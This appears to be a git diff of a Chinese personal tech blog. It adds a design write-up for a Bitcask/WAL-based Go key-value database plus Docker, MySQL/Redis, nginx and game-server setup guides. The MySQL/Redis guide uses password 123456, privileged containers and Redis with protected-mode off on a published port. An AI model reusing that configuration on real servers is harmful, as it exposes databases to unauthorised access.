正所谓万事开头难,第一个问题就是数据库叫什么名字,虽然写出来可能没人用,但好歹要有一个名字。在思索一番过后,决定取名为river,这个名字来自初中时候玩的一款游戏《去月球》,里面的女主就叫river。在建完github仓库后,便开始思考一个数据库要有什么,首先可以确定的是这是一个KV数据库,最基本的增删改查肯定是要保证的,然后就是TTL可以整一个,给键值上一个过期时间,既然有了TTL,肯定要能单独查询和修改TTL的功能,还有一个最最重要的就是事务支持,以及批量写入数据和批量删除数据,梳理一下就是

  • 基本的增删改查
  • TTL过期时间支持
  • 事务支持
  • 批量处理数据
  • 范围扫描和匹配

对了还有一个忘了就是数据库的备份和还原,这个也蛮重要的,在梳理好了这些大体的功能以后就可以开始着手去设计一些细节了。

存储

首先就是如何在磁盘上存放数据,既然采用了Bitcask作为存储模型,那么最简单直接的方法就是一条一条record存,一条一条record读,这样做最简单,也最容易实现。但是!非常重要的一点就是,前面已经提到过Bitcask不适合存大块数据,在几MB以上数据就可以被称为大块数据了,Bitcask原有的Record是由几个部分组成

header部分主要是record的元数据,包括crc,时间戳,key的长度,value的长度,读取一条record,需要两次IO,第一次读header,确认数据的长度,第二次确认数据长度过后才能去读取数据。实际上存放的数据都不是特别大,平均可能只有KB级别,甚至不到KB,对于这样小的数据,读取一条record还要进行两次IO,十分的浪费性能。

那么可以这样考虑,一次读取固定大小的文件内容到内存中,称之为Block,然后在内存中从Block读取数据,如果数据的足够小,刚好能在Block中,那么查询就只需要一次IO,后续虽然也是要先读数据长度再读实际数据,但由于是在内存中读取,要比磁盘读取快得多,这种能被Block容纳的数据称之为Chunk。而这个规则也就是应用在LevelDB的Wal文件中,而LevelDB默认的BlockSize就是32KB,每一次IO固定读32KB,这个值太大了会耗费内存,太小了会频繁IO,具体可以去这个文章Wal-LevelDB中的预写日志了解。

一个chunk由header和data组成,header最大为7个字节,所以data数据长度范围在[0, 32KB-7B],这里将crc校验从record抽离出来,放到了chunk中,这样在读写数据的时候就不需要再去做额外的校验。所以数据库实际操作的record是存放在data这部分中,对于一条记录而言,它的头部由以下几个部分组成

  • type,标识操作类型,更新还是删除
  • ttl,过期时间,存放的是毫秒,10个字节是64位整数占用的最大字节数
  • txn_id,事务ID
  • key_sz,key的长度,5个字节是32位整数所需要的最大字节数
  • val_sz,数据的长度

数据的组织格式大体上就设计完毕了,数据在文件中的分布大概可能是下图的样子

除此之外,我还在内存中做了一个缓存,由于每次读取的都是一个32KB的Block,那么可以将频繁使用的Block缓存起来从而减少了IO次数。思考这么一种情况,如果一个Block中的所有Chunk都远小于Block,那么只有读第一个Chunk的时候,会进行文件IO,在第一个chunk读取完毕后,会将这个Block缓存起来,这样一来,后续的Chunk就不再需要从文件中读取,直接从内存里面读取即可,这样就大大提高读取的速度。但一直缓存也不是办法,内存也是有限的,也还要做索引,所以需要定期进行淘汰,这里可以用LRU缓存来实现。

使用了上述的数据组织形式,可以一定程度上优化读的性能,不过写性能也不能忽略。Bitcask本身采用的是append-only的写入方式,顺序写的性能自然是要比随机写要好很多的,不过问题在于这样会包含很多冗余的数据。写性能的瓶颈在与Fsync的时机,如果每一次写入都sync,数据的持久性可以得到很好的保证,但性能会很低,如果不sync,性能肯定是比前者要高很多的,但持久性难以得到保证,正所谓鱼和熊掌不可得兼,还得是在两者之间找一个平衡点。

索引

对于索引的选择,比较主流的选择有BTree,SkipList,B+Tree,RedBlackTree,这几个都有一个共同点就是它们都是有序的,当然还有一个无序的数据结构哈希表,这个直接排除了,使用哈希表做索引没法做范围扫描。Redis和LevelDB首选的是SkipList,基于有序链表的SkipList的写性能会优秀一些,查询性能相对较弱,而树这一类的数据结构查询性能优秀,写入性能相对而言弱一些。

考虑到Bitcask存储模型并不适合存储大量数据,也不适合存储大块数据,在综合考虑下,选择了各方面比较平衡的BTree作为首选的内存索引,BTree又叫做多路平衡查找树,不选SkipList是因为没有找到很好的开源实现,B+Tree更适合做磁盘索引,而Btree有谷歌开源的库,并且另一大优点就是这个库很多人使用且支持泛型。不过其实索引并不只限于BTree,索引这一层做了一层抽象,后续也可以用其它数据结构实现。

是否要自己手写?说实话这个数据库我还是想用一用的,BTree,B+Tree都是非常复杂的数据结构,自己写是能写但不一定能保证能用,有了稳定成熟的开源实现可以使用是最好的。我自己也有写另一个数据结构的库,并且全都支持泛型,

开源仓库:246859/containers: base data structure and algorithm implemention in go genericity (github.com)open in new window

不过还在逐步完善,等以后稳定了说不定可以使用。

那么,内存索引存什么东西呢?这个问题还是比较好回答的,考虑到存储中采用的是Wal的组织形式,索引中存储的信息应该有

  • 哪个文件
  • 哪个block
  • chunk相对于block的offses

用go语言描述的话就是一个结构体

type ChunkPos struct {
+	// file id
+	Fid uint32
+	// chunk in which block
+	Block uint32
+	// chunk offset in block
+	Offset int64
+}
+

每一个block固定为32KB,所以只需要知道FidBlockIdOffset这三个信息就可以定位一条数据。除此之外,还可以把数据的TTL信息也放到索引中存储,这样访问TTL就不需要文件IO了。

事务

如果要我说整个数据库哪一个部分最难,恐怕只有事务了,支持事务要满足四个特性,ACID,原子性(Atmoicty),一致性(Consistency),隔离性(Isolation),Durability(持久性)。其中最难实现的当属隔离性,隔离性又分为四个级别,读未提交,读提交,可重复读,串行化。

在写事务这块之前,参考了下面几个项目

  • RoseDB

    它的v2版本对于事务的实现只有一个读写锁,保证了串行化事务。

  • NutsDB

    跟上面的一样,也是用一个读写锁来实现串行化事务,可以并发读,但是不能并发写,并且写会阻塞读写事务。

  • Badger

    badger与上面的两个项目不同(吐槽一下badger源代码可读性有点差),它是基于LSM而非Bitcask,并且提供了完整的MVCC事务支持,可以并发的进行读写事务,失败就会回滚。

前两个数据库不支持MVCC的理由非常简单,因为Bitcask本身就使用内存来做索引,如果实现MVCC事务的话,就需要在内存中存放许多版本的索引,但是内存空间不像磁盘,磁盘空间多用一点没什么,所以Bitcask的存储方式会产生冗余数据是可以容忍的,但内存空间是非常宝贵的,采用MVCC事务的话会导致有效索引的可用空间受到非常大的影响。

大致的思路如下,在开启一个事务时不需要持有锁,只有在提交和回滚的时候才需要。在一个事务中所有的修改加上事务ID后都将立即写入到数据文件中,但是不会更新到数据库索引中,而是去更新事务中的临时索引,每一个事务之间的临时索引是相互独立的,无法访问,所以事务中更新的数据对外部是不可见的。在提交时,首先检测是否发生了事务冲突,冲突检测思路如下。

  1. 遍历所有已提交的事务

  2. 检测其提交时间是否晚于本次事务的开始时间

  3. 如果是的话,再遍历该事务的写集合,如果与本次事务的读集合有交集,说明本次事务中读过的数据在事务执行过程中可能被修改了,于是判定为发生冲突。

  4. 提交成功的话就加入已提交事务列表中

  5. 将事务中的临时索引更新到数据库索引中,现在数据对外部可见了

  6. 插入一条特殊的记录,附带上当前事务的事务ID,表示此次事务已提交

  7. 如果失败回滚的话,也插入一条特殊的记录,表示此次事务已回滚

数据库在启动时,会按顺序遍历每一个数据文件中的每一条数据,每一个数据都携带对应的事务ID,首先会收集对应事务ID的事务序列,如果读到了对应事务ID的提交记录,就会将该事务的数据更新到内存索引中,如果读到了回滚的记录就会直接抛弃。如果一个事务序列,既没有提交也没有回滚,这种情况可能发生在突然崩溃的时候,对应这种数据则直接忽略。

这样一来,事务的ACID都可以满足了

  • 原子性和一致性,只有提交成功的数据才会出现在索引中,回滚和崩溃的情况都会直接抛弃,所以只有成功和失败两种结果,即便出现突然断电崩溃,也不会出现第三种状态。
  • 持久性:一旦事务提交成功,也就是标记事务提交的特殊记录写入到数据库中,那么这些数据在数据库中就永远生效了,不管后面突然断电还是崩溃,在数据库启动时这些事务数据一定会成功加载到索引中。
  • 隔离性:事务与事务之间的修改是彼此都不可见的,只有提交后更新到索引中,所做的修改才能被其它事务看见。

在运送时,可以用最小堆来维护当前的活跃事务,在每一次提交后就会清理已提交事务列表,如果提交时间小于堆顶的事务开始时间,说明该事务不可能会与活跃的事务发生冲突,就可以将其从已提交事务列表中删除,避免该列表无限膨胀。

但是!凡是都要有个但是,上面这种方法的隔离级别只能够保证读提交,无法保证可重复读,如果读过的数据在事务执行过程中被修改了,就会发生冲突,这种情况要么回滚要么重试。当然,riverdb也提供了另一个隔离级别,串行化,就跟RoseDB和NutsDB一样,使用读写锁来保证事务之间按照顺序执行,这样做的好处就是几乎很难发生冲突,坏处某一时刻就是只有一个协程能写入数据。

高性能往往意味着的可靠性低,高可靠性也代表着性能会拖后腿,事务就是可靠性和性能之间的权衡,至于选择什么隔离级别,这个可以做成可配置化的,让使用者自己选择。

合并

在存储那一块提到了增量写导致的问题,由于不管是增删改,都会插入一条新的数据,随着时间的流逝冗余的数据越来越多,肯定需要去清理的,不然会占用大量的空间。对数据库中无用的数据进行清理,这一过程称为合并。在合并清理数据的时候,有几个问题需要思考

  • 清理哪些数据
  • 在什么时候清理
  • 如何清理

清理哪些数据?梳理了一下应该有下面这些数据

  • 过期的数据,已经过期的数据是没有必要再存在的
  • 被覆盖的数据,有效的数据始终只有一条,被覆盖后没有存在的必要
  • 被删除的数据,删除后也不需要了
  • 回滚的事务数据
  • 无效的事务数据,也就是写入数据,但是即没提交也没回滚

对于事务数据,成功提交后的事务数据在清理时可以将其事务ID清空,在数据库启动时读取数据时,读到合并后的数据可以直接更新到索引中,而不需要收集整个事务序列来判断是否提交成功。

在什么时候清理?肯定是不能直接在原数据文件上动手,否则的话会阻塞其它正在进行的读写操作,一个Bitcask实例本身就是一个文件夹,数据库本身就是一个Bitcask示例,为了不阻塞读写,可以在清理合并数据的再新建一个Bitcask实例,将清理后的数据写入到新的实例中,然后再将数据覆盖到数据库实例中,这样的好处就是只有在进行覆盖操作的时候才会阻塞读写操作,其它时候不影响。

如何清理?在清理开始之前可以让bitcask实例新建一个active-file,将当前文件归入immutable-file,这样一来,在清理过程中新的写入就会写入到新的active-file中,而清理操作则是针对旧的immutable-file,记录下旧的active-file的文件id,然后逐个遍历immutable-file,如果数据被删除了,索引中自然不会存在,数据是否过期需要在遍历时判断一下,另一个需要注意的一点是还要检查一下索引信息中的文件id是否大于记录的文件id,是的话说明是新的写入操作则忽略掉这个索引项。在遍历索引时,还可以做一件额外的事,那就是构建hint文件,将新的索引信息写入hint文件中,这样一来,在数据库启动期间构建索引时,对于清理后的这部分数据可以不用去遍历每一条数据,而且可以从hint文件中读取,对于未清理的数据仍然需要去遍历其真实数据,这样做可以加快内存的构建速度。对于hint文件,它就等于存放在磁盘中的索引,其中的每一条记录都只存放索引信息,不包含实际数据,它只用于构建索引,而不会用于数据查询,目的只是为了加快索引的构建速度。

当数据清理完毕后,根据先前记录的文件ID覆盖掉原先的immutable-files,然后在重新加载索引,这样一来合并过程就完成了。还剩下最后一个问题,合并操作该在什么时候进行?有两个方案,第一个是定时合并,另一个是触发点。定时合并就比较简单了,就只是定时操作。触发点则是让数据库在写入时记录数据条数,当现有的数据条数与索引中的条数达到一定比例时就会触发合并。触发点合并就需要考究了,如果数据库中的数据量本身就很小,比如只有100条,但这100条都是针对一个key的改写,那么比例就达到了100:1,可能会触发合并,但实际上根本就没有必要。那么该如何去判断是否达到了触发点呢,这个可以用事件监听来实现,监听数据库的写入行为,如果达到了阈值,就可以进行合并,而且这一过程是异步的。

考虑一个情况,一个事务已经向数据库中写入了一些数据,但是没有提交,而恰好这时候又触发合并了,合并时会新建一个数据文件,于是该事务的后半段数据就写入了新文件中,并成功提交。合并时,之前的文件会被归档然后清理掉其中的无用数据。但是,这个事务的前半段数据在合并时是扫描不到提交记录的,那么它就会被清理掉,这样一来只有事务的后半段数据持久化了。这个过程就是一个事务被截断了。如何避免这种情况,最简单的方法是用一个互斥锁让事务与合并互斥,这样做的代价很明显,会导致合并操作阻塞其它事务的读写行为,如果数据量多了的话合并操作是非常耗时的。我的解决方案是合并操作之前必须要等待当前所有的活跃事务执行完毕,同时阻塞新事务的开启,然后再去创建新的数据文件,文件创建完成后让阻塞的事务恢复运行。这样做虽然同样会阻塞事务,但它等待的时间是活跃事务的执行时间+创建新数据文件的时间,真正的合并操作依旧是异步的,而使用互斥锁的等待时间是一整个合并操作的时间。

其实还有一种解决方案,如下图

它采用的方案是把读和写的文件分开了,其实这就是我早期的设想。事务的修改首先被写入到wlog中,这时内存索引存储的是wlog中的位置索引,然后到了一定触发点将日志中的数据compact到data中,再更新内存索引为data中的位置索引,data是只读的,除了merge操作外不做任何修改。这样做其实依旧会发生上述提交的事务截断的情况,但compact阻塞的成本要比merge低很多,是可以接受的。因为每一次compact过后wlog的数据都会被清空,compact不会遍历所有数据,而merge总是会遍历整个data files,compact和merge操作也并不互斥,可以同时进行。这个方案最终没有被采纳,一是因为当我发现这个bug的时候已经写的差不多了,要改动的话会动非常多的东西,二是它还是会出现事务截断的情况,并且在compact的时候依旧需要阻塞事务,还会让整个过程变得更复杂。

下图是实际上应用的方案

可以看得出来其实是把事务日志和数据文件合成一个了,因为bitcask数据文件的性质本身就跟事务日志一模一样。

备份

备份的实现思路就非常简单了,Bitcask实例就是一个文件夹,直接把当前文件夹打包成一个压缩包,就完成了备份,日后如果要恢复到备份状态的话,就直接解压缩到数据目录就好了。解压缩是用tar gzip来实现,它的兼容性会更好些。

监听

数据库总共有几种事件

  • 更新事件
  • 删除事件
  • 回滚事件
  • 备份事件
  • 还原事件
  • 合并事件

可以用一个队列来存放这些事件,上述操作成功后,会向队列中发送消息,队列会将这些消息转发给用户已创建的监听器,监听器的本质就是一个带缓冲的通道,所以这就是一个极简的消息队列的实现。用户在创建监听器时可以指定监听哪些消息,如果不是想要的消息就不会发送给该监听器,并且用户创建的监听器被维护在数据库中的监听器列表中,当消息队列有新的消息时,会遍历整个列表逐个发送消息,对于用户而言,只对其暴露一个只读的通道用于接收事件。其实这就是一个极简版的消息队列实现。

总结

这个简单的数据库花了我大概一个月的时间,从11月10日到12月2日结束,在过程中Wal的实现以及事务的支持卡了我最久,最后终于实现了预期的所有功能,但距离使用仍然需要不断的测试和完善。

仓库地址:246859/river: light-weight kv database base on bitcask and wal (github.com)open in new window

在这个过程中学习到了非常多的东西,最重要的就是存储模型Bitcask的实现,Wal的实现,事务的实现,这三个就是riverdb的核心点,总结下来就是

  • 磁盘存储,磁盘存储的关键点在于数据的组织形式,以及Fsync调用时机,是性能与持久性之间的权衡
  • 内存索引,而索引的关键点在于怎么去选择优化更好的数据结构,提供更好的性能,占用更少的内存。
  • 事务管理,事务的关键点在于隔离性,是事务可靠性与事务并发量之间的权衡

至于其它的功能也就是在它们的基础之上衍生出来,只要这三个核心处理好了,其它的问题也就不算特别难处理。目前它还只是一个嵌入式的数据库,没有提供网络服务,要想使用只能通过导入代码的方式。riverdb现在等于只是一个数据库内核,只要内核完善了,在它的基础之上开发新的命令行工具或者是网络服务应该还算是比较简单的。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/wal_in_leveldb.html b/posts/code/db/wal_in_leveldb.html new file mode 100644 index 0000000..358914b --- /dev/null +++ b/posts/code/db/wal_in_leveldb.html @@ -0,0 +1,48 @@ + + + + + + + + WAL——预写日志 | 寒江蓑笠翁 + + + + + + +

WAL——预写日志

寒江蓑笠翁小于 1 分钟数据库wal

WAL——预写日志


WAL全名叫Write Ahead Logging,译为预写日志,常用在数据库系统中,用来保证ACID事务中的原子性和持久性。WAL的写入方式通常是append only,每一次写入都是在向其中添加数据,而非in place原地修改,那么这样做的好处非常明显,由于是顺序IO,写入性能会比随机IO好很多。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/docker/0.dcoker.html b/posts/code/docker/0.dcoker.html new file mode 100644 index 0000000..f188b9a --- /dev/null +++ b/posts/code/docker/0.dcoker.html @@ -0,0 +1,48 @@ + + + + + + + + 基本介绍 | 寒江蓑笠翁 + + + + + + +

基本介绍

寒江蓑笠翁大约 3 分钟dockercontainerdocker容器

基本介绍

docker是一款非常出名的项目,它是由go语言编写且完全开源。docker去掉了传统开发过程中的繁琐配置这一步,让开发者可以更加快速的构建应用。到目前为止,docker提供了桌面端,CLI命令行,SDK,以及WebApi几种方式以供开发者选用。

提示

这部分文章主要关注点在CLI命令行,其他几种方式请自行了解。

其实自己很早就用过docker,但是没有进行过一个系统的归纳,写下这些内容也是对自己的学习进行一个总结。Docker这块主要分为两大部分,前半部分主要讲怎么使用docker,后半部分会讲docker的一些原理(如果还有时间的话),先学会用再去深究这是我一直以来的理念。

一些链接

官网

官网:Docker: Accelerated, Containerized Application Developmentopen in new window

docker官网,这里什么信息都有。

仓库

开源仓库:moby/moby: Moby Project - a collaborative project for the container ecosystem to assemble container-based systems (github.com)open in new window

docker使用过程中,如果遇到问题,直接来仓库提issue是最有效的方法(能搜就别问了),如果有能力提pr就更好了。

文档

文档地址:Docker Docs: How to build, share, and run applications | Docker Documentationopen in new window

docker的官方文档,使用指南,使用手册,API文档,详细到每一个命令的作用都有解释,也会教你怎么开始使用docker,怎么安装怎么卸载,不过是全英文。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/docker/1.start.html b/posts/code/docker/1.start.html new file mode 100644 index 0000000..2c8e2a4 --- /dev/null +++ b/posts/code/docker/1.start.html @@ -0,0 +1,161 @@ + + + + + + + + 安装使用 | 寒江蓑笠翁 + + + + + + +

安装使用

寒江蓑笠翁大约 5 分钟dockercontainerdocker容器

安装使用

第一次使用电脑时,都会先学习怎么开机和关机,使用软件也一样,得先学会怎么安装和卸载,以免觉得不好用了也可以卸掉。

本篇的内容参考自Install Docker Engine on Ubuntu | Docker Documentationopen in new window

提示

后续的文章都将在ubuntu22.04LTS系统基础之上进行描述。

安装

设置仓库

1.更新apt索引,安装一些依赖

$ sudo apt-get update
+$ sudo apt-get install ca-certificates curl gnupg
+

2.添加docker官方的GPG密钥

 $ sudo install -m 0755 -d /etc/apt/keyrings
+ $ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
+ $ sudo chmod a+r /etc/apt/keyrings/docker.gpg
+

3.设置仓库

$ echo \
+  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
+  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
+  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
+

安装docker engine

1.先更新索引

$ sudo apt-get update
+

2.安装最新版本

$ sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
+

3.安装指定版本

# 挑选需要的版本
+$ apt-cache madison docker-ce | awk '{ print $3 }'
+
+5:24.0.0-1~ubuntu.22.04~jammy
+5:23.0.6-1~ubuntu.22.04~jammy
+...
+# 安装指定版本
+$ VERSION_STRING=5:24.0.0-1~ubuntu.22.04~jammy
+$ sudo apt-get install \
+docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io docker-buildx-plugin docker-compose-plugin
+

4.执行docker info看看是否docker service是否都正常运行

$ sudo docker info
+Client: Docker Engine - Community
+ Version:    24.0.4
+ Context:    default
+ Debug Mode: false
+ Plugins:
+  buildx: Docker Buildx (Docker Inc.)
+    Version:  v0.11.1
+    Path:     /usr/libexec/docker/cli-plugins/docker-buildx
+  compose: Docker Compose (Docker Inc.)
+    Version:  v2.19.1
+    Path:     /usr/libexec/docker/cli-plugins/docker-compose
+
+Server:
+ Containers: 0
+  Running: 0
+  Paused: 0
+  Stopped: 0
+ Images: 0
+ Server Version: 24.0.4
+ Storage Driver: overlay2
+  Backing Filesystem: extfs
+  Supports d_type: true
+  Using metacopy: false
+  Native Overlay Diff: true
+  userxattr: false
+ Logging Driver: json-file
+ Cgroup Driver: systemd
+ Cgroup Version: 2
+ Plugins:
+  Volume: local
+  Network: bridge host ipvlan macvlan null overlay
+  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
+ Swarm: inactive
+ Runtimes: io.containerd.runc.v2 runc
+ Default Runtime: runc
+ Init Binary: docker-init
+ containerd version: 3dce8eb055cbb6872793272b4f20ed16117344f8
+ runc version: v1.1.7-0-g860f061
+ init version: de40ad0
+ Security Options:
+  apparmor
+  seccomp
+   Profile: builtin
+  cgroupns
+ Kernel Version: 5.19.0-46-generic
+ Operating System: Ubuntu 22.04.1 LTS
+ OSType: linux
+ Architecture: x86_64
+ CPUs: 8
+ Total Memory: 15.61GiB
+ Name: wyh-virtual-machine
+ ID: 6bef4127-4e92-4dc1-9b07-ba8c17987a8f
+ Docker Root Dir: /var/lib/docker
+ Debug Mode: false
+ Username: stranger246859
+ Experimental: false
+ Insecure Registries:
+  127.0.0.0/8
+ Live Restore Enabled: false
+

5.运行hello-world镜像看看能不能正常工作

$ sudo docker run hello-world
+Unable to find image 'hello-world:latest' locally
+latest: Pulling from library/hello-world
+719385e32844: Pull complete 
+Digest: sha256:926fac19d22aa2d60f1a276b66a20eb765fbeea2db5dbdaafeb456ad8ce81598
+Status: Downloaded newer image for hello-world:latest
+
+Hello from Docker!
+This message shows that your installation appears to be working correctly.
+
+To generate this message, Docker took the following steps:
+ 1. The Docker client contacted the Docker daemon.
+ 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
+    (amd64)
+ 3. The Docker daemon created a new container from that image which runs the
+    executable that produces the output you are currently reading.
+ 4. The Docker daemon streamed that output to the Docker client, which sent it
+    to your terminal.
+
+To try something more ambitious, you can run an Ubuntu container with:
+ $ docker run -it ubuntu bash
+
+Share images, automate workflows, and more with a free Docker ID:
+ https://hub.docker.com/
+
+For more examples and ideas, visit:
+ https://docs.docker.com/get-started/
+

卸载

相比于安装,卸载就要简单多了

$ sudo apt-get purge \
+docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
+

然后再删除数据文件

$ rm -rf /var/lib/docker /var/lib/containerd /etc/docker
+

关闭

要想完全关闭docker,需要将docker.socketdocker两个服务都关掉。

$ systemctl stop docker.socket docker
+

开启

开启同理

$ systemctl start docker.socket docker
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/docker/index.html b/posts/code/docker/index.html new file mode 100644 index 0000000..c652804 --- /dev/null +++ b/posts/code/docker/index.html @@ -0,0 +1,48 @@ + + + + + + + + Docker | 寒江蓑笠翁 + + + + + + +

Docker

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/docker_mysql.html b/posts/code/docker_mysql.html new file mode 100644 index 0000000..fc99303 --- /dev/null +++ b/posts/code/docker_mysql.html @@ -0,0 +1,111 @@ + + + + + + + + docker安装mysql和redis | 寒江蓑笠翁 + + + + + + +

docker安装mysql和redis

寒江蓑笠翁大约 4 分钟技术日志dockermysql

docker安装mysql和redis


Mysql

首先拉取mysql的镜像,要确保major版本是8,例如8.0.33

$ docker pull mysql
+

这里要创建mysql的挂载文件夹,以防数据丢失,这里放在/root/mysql路径下为例子

$ mkdir -p ~/mysql/conf/ ~/mysql/data/ ~/mysql/log
+

随后在/root/mysql/confg/目录下创建my.cnf文件,内容如下

[client]
+default_character_set=utf8mb4
+[mysqld]
+# 字符集
+character_set_server = utf8mb4
+collation-server = utf8mb4_general_ci
+init_connect='SET NAMES utf8mb4'
+# 错误日志
+log_error = error.log
+# 慢查询日志
+slow_query_log = 1
+slow_query_log_file = slow.log
+

然后运行如下命令启动容器即可,下面分别创建了mysql日志,mysql数据库,mysql配置的挂载数据卷,这里的MYSQL_ROOT_PASSWORD=123456就是数据库的root密码,可以自己改成其他的,环境变量MYSQL_DATABASE=dst会自动创建一个名为dst的数据库,按需修改。

$ docker run -p 3306:3306/tcp --name mysql8 \
+--restart=always \
+--privileged=true \
+-v /root/mysql/conf/:/etc/mysql/conf.d \
+-v /root/mysql/data/:/var/lib/mysql \
+-v /root/mysql/log/:/var/log/mysql \
+-e MYSQL_ROOT_PASSWORD=123456 \
+-e MYSQL_DATABASE=dst \
+-d mysql
+

创建完成后登录mysql看看成功没有

root@dtstest:~/mysql/conf# docker exec -it mysql8 mysql -u root -p
+Enter password: 
+Welcome to the MySQL monitor.  Commands end with ; or \g.
+Your MySQL connection id is 12
+Server version: 8.0.33 MySQL Community Server - GPL
+
+Copyright (c) 2000, 2023, Oracle and/or its affiliates.
+
+Oracle is a registered trademark of Oracle Corporation and/or its
+affiliates. Other names may be trademarks of their respective
+owners.
+
+Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
+
+mysql> show databases;
++--------------------+
+| Database           |
++--------------------+
+| dst                |
+| information_schema |
+| mysql              |
+| performance_schema |
+| sys                |
++--------------------+
+5 rows in set (0.01 sec)
+
+mysql> 
+

看到有dst数据库就说明mysql成功安装.

到此安装成功,然后记录下数据库的密码,后面后端会用到。

Redis

首先拉取redis镜像,保证redis版本在6以上

$ docker pull redis
+

创建redis的挂载目录

$ mkdir -p ~/redis/data
+

进入~/redis/目录,创建配置文件redis.conf,内容如下,密码自己定。

requirepass 123456
+appendonly yes
+

然后运行容器

$ docker run -p 6379:6379/tcp --name=redis7 \
+--restart=always --privileged=true \
+-v /root/redis/data:/data \
+-v /root/redis/redis.conf:/etc/redis/redis.conf \
+-d redis \
+redis-server /etc/redis/redis.conf
+

redis默认不允许远程访问,所以需要额外配置,修改配置文件如下

requirepass 123456
+appendonly yes
+protected-mode no
+

redis各版本配置文件:Redis configuration | Redisopen in new window

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/docker_nginx.html b/posts/code/docker_nginx.html new file mode 100644 index 0000000..32dbebb --- /dev/null +++ b/posts/code/docker_nginx.html @@ -0,0 +1,66 @@ + + + + + + + + Docker安装nginx | 寒江蓑笠翁 + + + + + + +

Docker安装nginx

寒江蓑笠翁大约 1 分钟技术日志

Docker安装nginx

docker安装nginx


Docker安装nginx时一般都是直接使用命令

docker run -p 80:80 --name=nginx \
+--restart=always --privileged=true \
+-v /home/nginx/conf/nginx.conf:/etc/nginx/nginx.conf \
+-v /home/nginx/conf/conf.d:/etc/nginx/conf.d \
+-v /home/nginx/log:/var/log/nginx \
+-v /home/nginx/html:/usr/share/nginx/html \
+-d nginx:latest
+

但后来还是觉得直接把静态文件打包进镜像可能会更加方便些

FROM nginx
+WORKDIR /root/
+USER root
+
+COPY html /usr/share/nginx/html
+COPY nginx /etc/nginx/
+
+EXPOSE 80
+
+VOLUME ["/etc/nginx/","/usr/share/nginx/html"]
+

运行命令

docker build -f ./DockerFile -t dstm/ui:latest .
+

目录下的html是打包好的静态文件,nginx是nginx配置文件夹。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/dst.html b/posts/code/dst.html new file mode 100644 index 0000000..9df4f22 --- /dev/null +++ b/posts/code/dst.html @@ -0,0 +1,83 @@ + + + + + + + + 在Linux搭建DST专用服务器 | 寒江蓑笠翁 + + + + + + +

在Linux搭建DST专用服务器

寒江蓑笠翁大约 6 分钟技术日志DSTLinux

在Linux搭建DST专用服务器

本文主要讲解了如何在Linux环境下搭建Dont Starve Together的专用服务器,以及一些坑。


环境准备

在开始之前需要准备以下东西:

  • 一台装了Linux系统的云服务器,本文使用的是Ubuntu20LTS。
  • SSH客户端,本文使用的XShell
  • SFTP客户端,本文使用的是FillZilla

云服务器安全组要放行10800到12000范围端口,饥荒服务端差不多都在这个范围内,协议使用UDP。

创建用户

与服务器进行ssh连接过后,创建一个专门用于DST管理的用户,这样与系统隔离,方便后续管理。

$ adduser dst
+

然后进入dst的ssh目录

$ cd ~/.ssh
+

生成ssh密钥对,将公钥注册到服务器中

$ ssh-keygen
+$ cat id_rsa.pub > authorized_keys
+

把私钥保存下来这样后续就可以使用ssh私钥进行登录。

依赖准备

首先首先要给软件管理工具加一个i386的架构,有warning忽略掉,然后看看加进去没有

$ add-apt-repository multiverse
+$ dpkg --add-architecture i386
+$ dpkg --print-foreign-architectures
+i386
+

然后再下载所需要的32位依赖

$ apt-get update
+$ apt install lib32gcc1 lib32z1 lib32stdc++6
+$ apt instal libcurl3-gnutls:i386 # curl工具一定要安装32位的
+$ apt install libcurl4-gnutls-dev:i386 # 上面那个不行就安装这一个
+

上述依赖是必须安装的,否则在运行可执行文件时会报错无法找到文件。

安装SteamCMD

提示

如何在Linux上安装SteamCMD官方有非常详细的中文教程,Steam 控制台客户端 - Valve Developer Community (valvesoftware.com)open in new window

先切换到dst用户

$ su - dst
+$ sudo mkdir steam
+$ sudo mkdir server
+

然后下载SteamCMD压缩包

$ sudo wget https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz
+

将其解压到steam目录

$ sudo tar -xvzf steamcmd_linux.tar.gz -C ~/steam
+

然后进入steam目录执行steamcmd.sh脚本启动进行安装

$ cd steam
+$ ./steamcmd.sh
+

或者也可以直接下载软件包,然后再启动steamcmd

$ apt-get install steamcmd
+$ steamcmd
+

等待安装完成后在steamcmd里面执行如下命令来设置安装目录

$ force_install_dir /home/dst/server
+

提示

需要注意的是设置安装目录必须在登录之前操作,登陆后不能再修改该项

然后再登录steam,一般使用匿名登录。

$ login anonymous
+

等待登录完成后下载饥荒服务端,343050是它的appid,这里大概要等个几分钟,下载完毕后先退出。

$ app_update 343050 validate
+$ quit
+

进入到server目录下看看是不是安装到指定目录了,如下就说明安装成功了

$ cd ~/server/bin
+$ ls
+dontstarve  dontstarve_dedicated_server_nullrenderer  dontstarve.xpm  lib32  scripts  steam_appid.txt
+

开服

前往克雷官网,登录并注册申请服务器token

点击添加新的服务器

完成后点击下载设置,使用sftp将该文件夹传入/home/dst/.klei/DoNotStarveTogether目录下,这是默认的存档位置,没有这个文件夹就自行创建该文件夹。

然后需要下载一个多终端管理工具screen

$ sudo apt install screen
+

然后在/home/dst目录下创建master.shcaves.sh,内容如下

#!/bin/bash
+cd /home/dst/server/bin/
+screen -R master /home/dst/server/bin/dontstarve_dedicated_server_nullrenderer -console -cluster MyDediServer -shard Master
+
#!/bin/bash
+cd /home/dst/server/bin/
